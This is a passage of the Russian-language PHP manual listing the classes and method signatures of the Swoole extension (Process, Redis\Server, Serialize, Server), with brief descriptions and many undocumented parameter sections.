Класс Swoole\Process

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Process {
/* Константы */
const int IPC_NOWAIT = 256;
/* Методы */
public static alarm(int $interval_usec): void
public close(): void
public static daemon(bool $nochdir = ?, bool $noclose = ?): void
public __destruct(): void
public exec(string $exec_file, string $args): ReturnType
public exit(string $exit_code = ?): void
public freeQueue(): void
public static kill(int $pid, int $signal_no = ?): bool
public name(string $process_name): bool
public pop(int $maxsize = ?): mixed
public push(string $data): bool
public read(int $maxsize = ?): string
public static signal(string $signal_no, callable $callback): void
public start(): void
public statQueue(): array
public useQueue(int $key, int $mode = ?): bool
public static wait(bool $blocking = ?): array
public write(string $data): int
}

Предопределённые константы

Swoole\Process::IPC_NOWAIT

Содержание

  • Swoole\Process::alarm — Таймер высокой точности, который запускает сигнал с фиксированным интервалом
  • Swoole\Process::close — Закрывает канал для дочернего процесса
  • Swoole\Process::__construct — Создаёт процесс
  • Swoole\Process::daemon — Изменяет процесс на процесс-демон
  • Swoole\Process::__destruct — Уничтожает процесс
  • Swoole\Process::exec — Выполняет системные команды
  • Swoole\Process::exit — Останавливает дочерние процессы
  • Swoole\Process::freeQueue — Уничтожает очередь сообщений, созданную swoole_process::useQueue
  • Swoole\Process::kill — Посылает сигнал дочернему процессу
  • Swoole\Process::name — Устанавливает название процесса
  • Swoole\Process::pop — Читает и извлекает данные из очереди сообщений
  • Swoole\Process::push — Записывает и помещает данные в очередь сообщений
  • Swoole\Process::read — Читает данные отправки в процесс
  • Swoole\Process::signal — Посылает сигнал дочерним процессам
  • Swoole\Process::start — Запускает процесс
  • Swoole\Process::statQueue — Получает статистику очереди сообщений, используемой в качестве метода связи между процессами
  • Swoole\Process::useQueue — Создаёт очередь сообщений в качестве метода связи между родительским процессом и дочерними процессами
  • Swoole\Process::wait — Ожидает событий дочерних процессов
  • Swoole\Process::write — Записывает данные в канал и связывается с родительским процессом или дочерними процессами

User Contributed Notes

There are no user contributed notes for this page.


Таймер высокой точности, который запускает сигнал с фиксированным интервалом

  • « Swoole\Process
  • Swoole\Process::close »
  • PHP Manual
  • Swoole\Process
  • Таймер высокой точности, который запускает сигнал с фиксированным интервалом

Swoole\Process::alarm

(PECL swoole >= 1.9.0)

Swoole\Process::alarm — Таймер высокой точности, который запускает сигнал с фиксированным интервалом

Описание

public static Swoole\Process::alarm(int $interval_usec): void

Список параметров

interval_usec

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Закрывает канал для дочернего процесса

  • « Swoole\Process::alarm
  • Swoole\Process::__construct »
  • PHP Manual
  • Swoole\Process
  • Закрывает канал для дочернего процесса

Swoole\Process::close

(PECL swoole >= 1.9.0)

Swoole\Process::close — Закрывает канал для дочернего процесса

Описание

public Swoole\Process::close(): void

Закрывает канал для дочернего процесса.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт процесс

  • « Swoole\Process::close
  • Swoole\Process::daemon »
  • PHP Manual
  • Swoole\Process
  • Создаёт процесс

Swoole\Process::__construct

(PECL swoole >= 1.9.0)

Swoole\Process::__construct — Создаёт процесс

Описание

public Swoole\Process::__construct(callable $callback, bool $redirect_stdin_and_stdout = ?, int $pipe_type = ?)

Список параметров

callback

redirect_stdin_and_stdout

pipe_type

User Contributed Notes

There are no user contributed notes for this page.


Изменяет процесс на процесс-демон

  • « Swoole\Process::__construct
  • Swoole\Process::__destruct »
  • PHP Manual
  • Swoole\Process
  • Изменяет процесс на процесс-демон

Swoole\Process::daemon

(PECL swoole >= 1.9.0)

Swoole\Process::daemon — Изменяет процесс на процесс-демон

Описание

public static Swoole\Process::daemon(bool $nochdir = ?, bool $noclose = ?): void

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

nochdir

noclose

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает процесс

  • « Swoole\Process::daemon
  • Swoole\Process::exec »
  • PHP Manual
  • Swoole\Process
  • Уничтожает процесс

Swoole\Process::__destruct

(PECL swoole >= 1.9.0)

Swoole\Process::__destruct — Уничтожает процесс

Описание

public Swoole\Process::__destruct(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Выполняет системные команды

  • « Swoole\Process::__destruct
  • Swoole\Process::exit »
  • PHP Manual
  • Swoole\Process
  • Выполняет системные команды

Swoole\Process::exec

(PECL swoole >= 1.9.0)

Swoole\Process::exec — Выполняет системные команды

Описание

public Swoole\Process::exec(string $exec_file, string $args): ReturnType

Процесс будет заменён на системный командный процесс, но канал к родительскому процессу будет сохранён.

Список параметров

exec_file

args

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Останавливает дочерние процессы

  • « Swoole\Process::exec
  • Swoole\Process::freeQueue »
  • PHP Manual
  • Swoole\Process
  • Останавливает дочерние процессы

Swoole\Process::exit

(PECL swoole >= 1.9.0)

Swoole\Process::exit — Останавливает дочерние процессы

Описание

public Swoole\Process::exit(string $exit_code = ?): void

Список параметров

exit_code

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает очередь сообщений, созданную swoole_process::useQueue

  • « Swoole\Process::exit
  • Swoole\Process::kill »
  • PHP Manual
  • Swoole\Process
  • Уничтожает очередь сообщений, созданную swoole_process::useQueue

Swoole\Process::freeQueue

(PECL swoole >= 1.9.0)

Swoole\Process::freeQueue — Уничтожает очередь сообщений, созданную swoole_process::useQueue

Описание

public Swoole\Process::freeQueue(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Посылает сигнал дочернему процессу

  • « Swoole\Process::freeQueue
  • Swoole\Process::name »
  • PHP Manual
  • Swoole\Process
  • Посылает сигнал дочернему процессу

Swoole\Process::kill

(PECL swoole >= 1.9.0)

Swoole\Process::kill — Посылает сигнал дочернему процессу

Описание

public static Swoole\Process::kill(int $pid, int $signal_no = ?): bool

Посылает сигнал дочернему процессу.

Список параметров

pid

Идентификатор процесса

signal_no

Сигнал к отправке

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает название процесса

  • « Swoole\Process::kill
  • Swoole\Process::pop »
  • PHP Manual
  • Swoole\Process
  • Устанавливает название процесса

Swoole\Process::name

(PECL swoole >= 1.9.0)

Swoole\Process::name — Устанавливает название процесса

Описание

public Swoole\Process::name(string $process_name): bool

Список параметров

process_name

Устанавливает имя процесса.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Читает и извлекает данные из очереди сообщений

  • « Swoole\Process::name
  • Swoole\Process::push »
  • PHP Manual
  • Swoole\Process
  • Читает и извлекает данные из очереди сообщений

Swoole\Process::pop

(PECL swoole >= 1.9.0)

Swoole\Process::pop — Читает и извлекает данные из очереди сообщений

Описание

public Swoole\Process::pop(int $maxsize = ?): mixed

Список параметров

maxsize

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Записывает и помещает данные в очередь сообщений

  • « Swoole\Process::pop
  • Swoole\Process::read »
  • PHP Manual
  • Swoole\Process
  • Записывает и помещает данные в очередь сообщений

Swoole\Process::push

(PECL swoole >= 1.9.0)

Swoole\Process::push — Записывает и помещает данные в очередь сообщений

Описание

public Swoole\Process::push(string $data): bool

Список параметров

data

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Читает данные отправки в процесс

  • « Swoole\Process::push
  • Swoole\Process::signal »
  • PHP Manual
  • Swoole\Process
  • Читает данные отправки в процесс

Swoole\Process::read

(PECL swoole >= 1.9.0)

Swoole\Process::read — Читает данные отправки в процесс

Описание

public Swoole\Process::read(int $maxsize = ?): string

Список параметров

maxsize

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Посылает сигнал дочерним процессам

  • « Swoole\Process::read
  • Swoole\Process::start »
  • PHP Manual
  • Swoole\Process
  • Посылает сигнал дочерним процессам

Swoole\Process::signal

(PECL swoole >= 1.9.0)

Swoole\Process::signal — Посылает сигнал дочерним процессам

Описание

public static Swoole\Process::signal(string $signal_no, callable $callback): void

Список параметров

signal_no

callback

Возвращаемые значения

В случае успешной отправки сигнала, возвращает TRUE, в противном случае возвращает FALSE.

User Contributed Notes

There are no user contributed notes for this page.


Запускает процесс

  • « Swoole\Process::signal
  • Swoole\Process::statQueue »
  • PHP Manual
  • Swoole\Process
  • Запускает процесс

Swoole\Process::start

(PECL swoole >= 1.9.0)

Swoole\Process::start — Запускает процесс

Описание

public Swoole\Process::start(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает статистику очереди сообщений, используемой в качестве метода связи между процессами

  • « Swoole\Process::start
  • Swoole\Process::useQueue »
  • PHP Manual
  • Swoole\Process
  • Получает статистику очереди сообщений, используемой в качестве метода связи между процессами

Swoole\Process::statQueue

(PECL swoole >= 1.9.0)

Swoole\Process::statQueue — Получает статистику очереди сообщений, используемой в качестве метода связи между процессами

Описание

public Swoole\Process::statQueue(): array

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Массив состояния очереди сообщений.

User Contributed Notes

There are no user contributed notes for this page.


Создаёт очередь сообщений в качестве метода связи между родительским процессом и дочерними процессами

  • « Swoole\Process::statQueue
  • Swoole\Process::wait »
  • PHP Manual
  • Swoole\Process
  • Создаёт очередь сообщений в качестве метода связи между родительским процессом и дочерними процессами

Swoole\Process::useQueue

(PECL swoole >= 1.9.0)

Swoole\Process::useQueue — Создаёт очередь сообщений в качестве метода связи между родительским процессом и дочерними процессами

Описание

public Swoole\Process::useQueue(int $key, int $mode = ?): bool

Список параметров

key

mode

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Ожидает событий дочерних процессов

  • « Swoole\Process::useQueue
  • Swoole\Process::write »
  • PHP Manual
  • Swoole\Process
  • Ожидает событий дочерних процессов

Swoole\Process::wait

(PECL swoole >= 1.9.0)

Swoole\Process::wait — Ожидает событий дочерних процессов

Описание

public static Swoole\Process::wait(bool $blocking = ?): array

Список параметров

blocking

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Записывает данные в канал и связывается с родительским процессом или дочерними процессами

  • « Swoole\Process::wait
  • Swoole\Redis\Server »
  • PHP Manual
  • Swoole\Process
  • Записывает данные в канал и связывается с родительским процессом или дочерними процессами

Swoole\Process::write

(PECL swoole >= 1.9.0)

Swoole\Process::write — Записывает данные в канал и связывается с родительским процессом или дочерними процессами

Описание

public Swoole\Process::write(string $data): int

Список параметров

data

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Redis\Server

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Redis\Server extends Swoole\Server {
/* Константы */
const int NIL = 1;
const int ERROR = 0;
const int STATUS = 2;
const int INT = 3;
const int STRING = 4;
const int SET = 5;
const int MAP = 6;
/* Методы */
public static format(string $type, string $value = ?): ReturnType
public setHandler(
string $command,
string $callback,
string $number_of_string_param = ?,
string $type_of_array_param = ?
): ReturnType
public start(): ReturnType
/* Наследуемые методы */
public Swoole\Server::addlistener(string $host, int $port, string $socket_type): void
public Swoole\Server::addProcess(swoole_process $process): bool
public Swoole\Server::after(int $after_time_ms, callable $callback, string $param = ?): ReturnType
public Swoole\Server::bind(int $fd, int $uid): bool
public Swoole\Server::clearTimer(int $timer_id): void
swoole_timer_clear(int $timer_id): void
public Swoole\Server::close(int $fd, bool $reset = ?): bool
public Swoole\Server::confirm(int $fd): bool
public Swoole\Server::connection_info(int $fd, int $reactor_id = ?): array
public Swoole\Server::connection_list(int $start_fd, int $pagesize = ?): array
public Swoole\Server::defer(callable $callback): void
public Swoole\Server\Port::__destruct(): void
public Swoole\Server\Port::on(string $event_name, callable $callback): ReturnType
public Swoole\Server\Port::set(array $settings): void
public Swoole\Server::exist(int $fd): bool
public Swoole\Server::finish(string $data): void
public Swoole\Server::getClientInfo(int $fd, int $reactor_id = ?, bool $ignore_error = ?): array
public Swoole\Server::getClientList(int $start_fd, int $pagesize = ?): array
public Swoole\Server::getLastError(): int
public Swoole\Server::heartbeat(bool $if_close_connection): mixed
public Swoole\Server::listen(string $host, int $port, string $socket_type): bool
public Swoole\Server::on(string $event_name, callable $callback): void
public Swoole\Server::pause(int $fd): void
public Swoole\Server::protect(int $fd, bool $is_protected = ?): void
public Swoole\Server::reload(): bool
public Swoole\Server::resume(int $fd): void
public Swoole\Server::send(int $fd, string $data, int $reactor_id = ?): bool
public Swoole\Server::sendfile(int $fd, string $filename, int $offset = ?): bool
public Swoole\Server::sendMessage(int $worker_id, string $data): bool
public Swoole\Server::sendto(
string $ip,
int $port,
string $data,
string $server_socket = ?
): bool
public Swoole\Server::sendwait(int $fd, string $data): bool
public Swoole\Server::set(array $settings): ReturnType
public Swoole\Server::shutdown(): void
public Swoole\Server::start(): void
public Swoole\Server::stats(): array
public Swoole\Server::stop(int $worker_id = ?): bool
public Swoole\Server::task(string $data, int $dst_worker_id = ?, callable $callback = ?): mixed
public Swoole\Server::taskwait(string $data, float $timeout = ?, int $worker_id = ?): void
public Swoole\Server::taskWaitMulti(array $tasks, float $timeout_ms = ?): void
public Swoole\Server::tick(int $interval_ms, callable $callback): void
}

Предопределённые константы

Swoole\Redis\Server::NIL

Swoole\Redis\Server::ERROR

Swoole\Redis\Server::STATUS

Swoole\Redis\Server::INT

Swoole\Redis\Server::STRING

Swoole\Redis\Server::SET

Swoole\Redis\Server::MAP

Содержание

  • Swoole\Redis\Server::format — Описание
  • Swoole\Redis\Server::setHandler — Описание
  • Swoole\Redis\Server::start — Описание

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Redis\Server
  • Swoole\Redis\Server::setHandler »
  • PHP Manual
  • Swoole\Redis\Server
  • Описание

Swoole\Redis\Server::format

(PECL swoole >= 1.9.0)

Swoole\Redis\Server::format — Описание

Описание

public static Swoole\Redis\Server::format(string $type, string $value = ?): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

type

value

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Redis\Server::format
  • Swoole\Redis\Server::start »
  • PHP Manual
  • Swoole\Redis\Server
  • Описание

Swoole\Redis\Server::setHandler

(PECL swoole >= 1.9.0)

Swoole\Redis\Server::setHandler — Описание

Описание

public Swoole\Redis\Server::setHandler(
string $command,
string $callback,
string $number_of_string_param = ?,
string $type_of_array_param = ?
): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

command

callback

number_of_string_param

type_of_array_param

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Описание

  • « Swoole\Redis\Server::setHandler
  • Swoole\Serialize »
  • PHP Manual
  • Swoole\Redis\Server
  • Описание

Swoole\Redis\Server::start

(PECL swoole >= 1.9.0)

Swoole\Redis\Server::start — Описание

Описание

public Swoole\Redis\Server::start(): ReturnType

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Serialize

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Serialize {
/* Методы */
public static pack(string $data, int $is_fast = ?): ReturnType
public static unpack(string $data, string $args = ?): ReturnType
}

Содержание

  • Swoole\Serialize::pack — Сериализовать данные
  • Swoole\Serialize::unpack — Десериализовать данные

User Contributed Notes

There are no user contributed notes for this page.


Сериализовать данные

  • « Swoole\Serialize
  • Swoole\Serialize::unpack »
  • PHP Manual
  • Swoole\Serialize
  • Сериализовать данные

Swoole\Serialize::pack

(PECL swoole >= 1.9.0)

Swoole\Serialize::pack — Сериализовать данные

Описание

public static Swoole\Serialize::pack(string $data, int $is_fast = ?): ReturnType

Swoolle обеспечивает быстрый и высокопроизводительный модуль сериализации.

Список параметров

data

is_fast

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Десериализовать данные

  • « Swoole\Serialize::pack
  • Swoole\Server »
  • PHP Manual
  • Swoole\Serialize
  • Десериализовать данные

Swoole\Serialize::unpack

(PECL swoole >= 1.9.0)

Swoole\Serialize::unpack — Десериализовать данные

Описание

public static Swoole\Serialize::unpack(string $data, string $args = ?): ReturnType

Десериализовать данные.

Список параметров

string

args

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Класс Swoole\Server

(PECL swoole >= 1.9.0)

Введение

Обзор классов

class Swoole\Server {
/* Методы */
public addlistener(string $host, int $port, string $socket_type): void
public addProcess(swoole_process $process): bool
public after(int $after_time_ms, callable $callback, string $param = ?): ReturnType
public bind(int $fd, int $uid): bool
public clearTimer(int $timer_id): void
swoole_timer_clear(int $timer_id): void
public close(int $fd, bool $reset = ?): bool
public confirm(int $fd): bool
public connection_info(int $fd, int $reactor_id = ?): array
public connection_list(int $start_fd, int $pagesize = ?): array
public defer(callable $callback): void
public Swoole\Server\Port::__destruct(): void
public Swoole\Server\Port::on(string $event_name, callable $callback): ReturnType
public Swoole\Server\Port::set(array $settings): void
public exist(int $fd): bool
public finish(string $data): void
public getClientInfo(int $fd, int $reactor_id = ?, bool $ignore_error = ?): array
public getClientList(int $start_fd, int $pagesize = ?): array
public getLastError(): int
public heartbeat(bool $if_close_connection): mixed
public listen(string $host, int $port, string $socket_type): bool
public on(string $event_name, callable $callback): void
public pause(int $fd): void
public protect(int $fd, bool $is_protected = ?): void
public reload(): bool
public resume(int $fd): void
public send(int $fd, string $data, int $reactor_id = ?): bool
public sendfile(int $fd, string $filename, int $offset = ?): bool
public sendMessage(int $worker_id, string $data): bool
public sendto(
string $ip,
int $port,
string $data,
string $server_socket = ?
): bool
public sendwait(int $fd, string $data): bool
public set(array $settings): ReturnType
public shutdown(): void
public start(): void
public stats(): array
public stop(int $worker_id = ?): bool
public task(string $data, int $dst_worker_id = ?, callable $callback = ?): mixed
public taskwait(string $data, float $timeout = ?, int $worker_id = ?): void
public taskWaitMulti(array $tasks, float $timeout_ms = ?): void
public tick(int $interval_ms, callable $callback): void
}

Содержание

  • Swoole\Server::addlistener — Добавляет нового слушателя на сервер
  • Swoole\Server::addProcess — Добавляет определённый пользователем swoole_process на сервер
  • Swoole\Server::after — Запускает callback-функцию по истечении определённого периода времени
  • Swoole\Server::bind — Привязывает соединение к указанному идентификатору пользователя
  • Swoole\Server::clearTimer — Останавливает и уничтожает таймер
  • Swoole\Server::close — Закрывает соединение с клиентом
  • Swoole\Server::confirm — Проверяет состояние соединения
  • Swoole\Server::connection_info — Получает информацию о соединении по описанию файла
  • Swoole\Server::connection_list — Получает все установленные соединения
  • Swoole\Server::__construct — Создаёт сервер Swoole
  • Swoole\Server::defer — Откладывает выполнение callback-функции в конце текущего EventLoop
  • Swoole\Server\Port::__construct — Создаёт порт сервера
  • Swoole\Server\Port::__destruct — Уничтожает порт сервера
  • Swoole\Server\Port::on — Регистрирует callback-функции по событию
  • Swoole\Server\Port::set — Устанавливает протокол порта сервера
  • Swoole\Server::exist — Проверяет, существует ли соединение
  • Swoole\Server::finish — Используется в процессе задачи для отправки результата в рабочий процесс после завершения задачи
  • Swoole\Server::getClientInfo — Получает информацию о соединении по описанию файла
  • Swoole\Server::getClientList — Получает все установленные соединения
  • Swoole\Server::getLastError — Получает код самой последней ошибки
  • Swoole\Server::heartbeat — Проверяет все соединения на сервере
  • Swoole\Server::listen — Слушает по заданному IP и порту, тип сокета
  • Swoole\Server::on — Регистрирует callback-функцию по имени события
  • Swoole\Server::pause — Прекращает получение данных от соединения
  • Swoole\Server::protect — Устанавливает соединение в защищённый режим
  • Swoole\Server::reload — Перезапускает все рабочие процессы
  • Swoole\Server::resume — Начинает получать данные из соединения
  • Swoole\Server::send — Отправляет данные клиенту
  • Swoole\Server::sendfile — Отправляет файл на соединение
  • Swoole\Server::sendMessage — Отправляет сообщение рабочим процессам по идентификатору
  • Swoole\Server::sendto — Отправляет данные на удалённый UDP-адрес
  • Swoole\Server::sendwait — Отправляет данные в удалённый сокет блокирующим способом
  • Swoole\Server::set — Устанавливает настройки времени выполнения сервера swoole
  • Swoole\Server::shutdown — Завершает процесс главного сервера, функцию можно вызывать в рабочих процессах
  • Swoole\Server::start — Запускает сервер Swoole
  • Swoole\Server::stats — Получает статистику сервера Swoole
  • Swoole\Server::stop — Останавливает сервер Swoole
  • Swoole\Server::task — Отправляет данные в рабочие процессы задачи
  • Swoole\Server::taskwait — Посылает данные рабочим процессам задачи блокирующим способом
  • Swoole\Server::taskWaitMulti — Выполняет несколько задач одновременно
  • Swoole\Server::tick — Повторяет данную функцию в каждый заданный интервал времени

User Contributed Notes

There are no user contributed notes for this page.


Добавляет нового слушателя на сервер

  • « Swoole\Server
  • Swoole\Server::addProcess »
  • PHP Manual
  • Swoole\Server
  • Добавляет нового слушателя на сервер

Swoole\Server::addlistener

(PECL swoole >= 1.9.0)

Swoole\Server::addlistener — Добавляет нового слушателя на сервер

Описание

public Swoole\Server::addlistener(string $host, int $port, string $socket_type): void

Список параметров

host

port

socket_type

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Добавляет определённый пользователем swoole_process на сервер

  • « Swoole\Server::addlistener
  • Swoole\Server::after »
  • PHP Manual
  • Swoole\Server
  • Добавляет определённый пользователем swoole_process на сервер

Swoole\Server::addProcess

(PECL swoole >= 1.9.0)

Swoole\Server::addProcess — Добавляет определённый пользователем swoole_process на сервер

Описание

public Swoole\Server::addProcess(swoole_process $process): bool

Список параметров

process

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Запускает callback-функцию по истечении определённого периода времени

  • « Swoole\Server::addProcess
  • Swoole\Server::bind »
  • PHP Manual
  • Swoole\Server
  • Запускает callback-функцию по истечении определённого периода времени

Swoole\Server::after

(PECL swoole >= 1.9.0)

Swoole\Server::after — Запускает callback-функцию по истечении определённого периода времени

Описание

public Swoole\Server::after(int $after_time_ms, callable $callback, string $param = ?): ReturnType

Список параметров

after_time_ms

callback

param

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Привязывает соединение к указанному идентификатору пользователя

  • « Swoole\Server::after
  • Swoole\Server::clearTimer »
  • PHP Manual
  • Swoole\Server
  • Привязывает соединение к указанному идентификатору пользователя

Swoole\Server::bind

(PECL swoole >= 1.9.0)

Swoole\Server::bind — Привязывает соединение к указанному идентификатору пользователя

Описание

public Swoole\Server::bind(int $fd, int $uid): bool

Список параметров

fd

uid

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Останавливает и уничтожает таймер

  • « Swoole\Server::bind
  • Swoole\Server::close »
  • PHP Manual
  • Swoole\Server
  • Останавливает и уничтожает таймер

Swoole\Server::clearTimer

swoole_timer_clear

(PECL swoole >= 1.9.0)

Swoole\Server::clearTimer -- swoole_timer_clear — Останавливает и уничтожает таймер

Описание

Объектно-ориентированный стиль (метод):

public Swoole\Server::clearTimer(int $timer_id): void

Процедурный стиль:

swoole_timer_clear(int $timer_id): void

Останавливает и уничтожает таймер

Список параметров

timer_id

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Закрывает соединение с клиентом

  • « Swoole\Server::clearTimer
  • Swoole\Server::confirm »
  • PHP Manual
  • Swoole\Server
  • Закрывает соединение с клиентом

Swoole\Server::close

(PECL swoole >= 1.9.0)

Swoole\Server::close — Закрывает соединение с клиентом

Описание

public Swoole\Server::close(int $fd, bool $reset = ?): bool

Список параметров

fd

reset

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет состояние соединения

  • « Swoole\Server::close
  • Swoole\Server::connection_info »
  • PHP Manual
  • Swoole\Server
  • Проверяет состояние соединения

Swoole\Server::confirm

(PECL swoole >= 1.9.0)

Swoole\Server::confirm — Проверяет состояние соединения

Описание

public Swoole\Server::confirm(int $fd): bool

Список параметров

fd

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о соединении по описанию файла

  • « Swoole\Server::confirm
  • Swoole\Server::connection_list »
  • PHP Manual
  • Swoole\Server
  • Получает информацию о соединении по описанию файла

Swoole\Server::connection_info

(PECL swoole >= 1.9.0)

Swoole\Server::connection_info — Получает информацию о соединении по описанию файла

Описание

public Swoole\Server::connection_info(int $fd, int $reactor_id = ?): array

Список параметров

fd

reactor_id

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает все установленные соединения

  • « Swoole\Server::connection_info
  • Swoole\Server::__construct »
  • PHP Manual
  • Swoole\Server
  • Получает все установленные соединения

Swoole\Server::connection_list

(PECL swoole >= 1.9.0)

Swoole\Server::connection_list — Получает все установленные соединения

Описание

public Swoole\Server::connection_list(int $start_fd, int $pagesize = ?): array

Список параметров

start_fd

pagesize

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт сервер Swoole

  • « Swoole\Server::connection_list
  • Swoole\Server::defer »
  • PHP Manual
  • Swoole\Server
  • Создаёт сервер Swoole

Swoole\Server::__construct

(PECL swoole >= 1.9.0)

Swoole\Server::__construct — Создаёт сервер Swoole

Описание

public Swoole\Server::__construct(
string $host,
int $port = ?,
int $mode = ?,
int $sock_type = ?
)

Список параметров

host

port

mode

sock_type

User Contributed Notes

There are no user contributed notes for this page.


Откладывает выполнение callback-функции в конце текущего EventLoop

  • « Swoole\Server::__construct
  • Swoole\Server\Port::__construct »
  • PHP Manual
  • Swoole\Server
  • Откладывает выполнение callback-функции в конце текущего EventLoop

Swoole\Server::defer

(PECL swoole >= 1.9.0)

Swoole\Server::defer — Откладывает выполнение callback-функции в конце текущего EventLoop

Описание

public Swoole\Server::defer(callable $callback): void

Список параметров

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Создаёт порт сервера

  • « Swoole\Server::defer
  • Swoole\Server\Port::__destruct »
  • PHP Manual
  • Swoole\Server
  • Создаёт порт сервера

Swoole\Server\Port::__construct

(PECL swoole >= 1.9.0)

Swoole\Server\Port::__construct — Создаёт порт сервера

Описание

private Swoole\Server\Port::__construct()

Список параметров

У этой функции нет параметров.

User Contributed Notes

There are no user contributed notes for this page.


Уничтожает порт сервера

  • « Swoole\Server\Port::__construct
  • Swoole\Server\Port::on »
  • PHP Manual
  • Swoole\Server
  • Уничтожает порт сервера

Swoole\Server\Port::__destruct

(PECL swoole >= 1.9.0)

Swoole\Server\Port::__destruct — Уничтожает порт сервера

Описание

public Swoole\Server\Port::__destruct(): void

Список параметров

У этой функции нет параметров.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Регистрирует callback-функции по событию

  • « Swoole\Server\Port::__destruct
  • Swoole\Server\Port::set »
  • PHP Manual
  • Swoole\Server
  • Регистрирует callback-функции по событию

Swoole\Server\Port::on

(PECL swoole >= 1.9.0)

Swoole\Server\Port::on — Регистрирует callback-функции по событию

Описание

public Swoole\Server\Port::on(string $event_name, callable $callback): ReturnType

Список параметров

event_name

callback

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Устанавливает протокол порта сервера

  • « Swoole\Server\Port::on
  • Swoole\Server::exist »
  • PHP Manual
  • Swoole\Server
  • Устанавливает протокол порта сервера

Swoole\Server\Port::set

(PECL swoole >= 1.9.0)

Swoole\Server\Port::set — Устанавливает протокол порта сервера

Описание

public Swoole\Server\Port::set(array $settings): void

Список параметров

settings

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Проверяет, существует ли соединение

  • « Swoole\Server\Port::set
  • Swoole\Server::finish »
  • PHP Manual
  • Swoole\Server
  • Проверяет, существует ли соединение

Swoole\Server::exist

(PECL swoole >= 1.9.0)

Swoole\Server::exist — Проверяет, существует ли соединение

Описание

public Swoole\Server::exist(int $fd): bool

Список параметров

fd

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Используется в процессе задачи для отправки результата в рабочий процесс после завершения задачи

  • « Swoole\Server::exist
  • Swoole\Server::getClientInfo »
  • PHP Manual
  • Swoole\Server
  • Используется в процессе задачи для отправки результата в рабочий процесс после завершения задачи

Swoole\Server::finish

(PECL swoole >= 1.9.0)

Swoole\Server::finish — Используется в процессе задачи для отправки результата в рабочий процесс после завершения задачи

Описание

public Swoole\Server::finish(string $data): void

Список параметров

data

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает информацию о соединении по описанию файла

  • « Swoole\Server::finish
  • Swoole\Server::getClientList »
  • PHP Manual
  • Swoole\Server
  • Получает информацию о соединении по описанию файла

Swoole\Server::getClientInfo

(PECL swoole >= 1.9.0)

Swoole\Server::getClientInfo — Получает информацию о соединении по описанию файла

Описание

public Swoole\Server::getClientInfo(int $fd, int $reactor_id = ?, bool $ignore_error = ?): array

Список параметров

fd

Дескриптор файла

reactor_id

Идентификатор потока Reactor, в котором выполняется соединение.

ignore_error

Следует ли игнорировать ошибки. Если установлено значение true, информация о соединении будет возвращена, даже если соединение будет закрыто.

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает все установленные соединения

  • « Swoole\Server::getClientInfo
  • Swoole\Server::getLastError »
  • PHP Manual
  • Swoole\Server
  • Получает все установленные соединения

Swoole\Server::getClientList

(PECL swoole >= 1.9.0)

Swoole\Server::getClientList — Получает все установленные соединения

Описание

public Swoole\Server::getClientList(int $start_fd, int $pagesize = ?): array

Внимание

К настоящему времени эта функция ещё не была документирована; для ознакомления доступен только список аргументов.

Список параметров

start_fd

pagesize

Возвращаемые значения

User Contributed Notes

There are no user contributed notes for this page.


Получает код самой последней ошибки

  • « Swoole\Server::getClientList
  • Swoole\Server::heartbeat »
  • PHP Manual
  • Swoole\Server
  • Получает код самой последней ошибки

Swoole\Server::getLastError

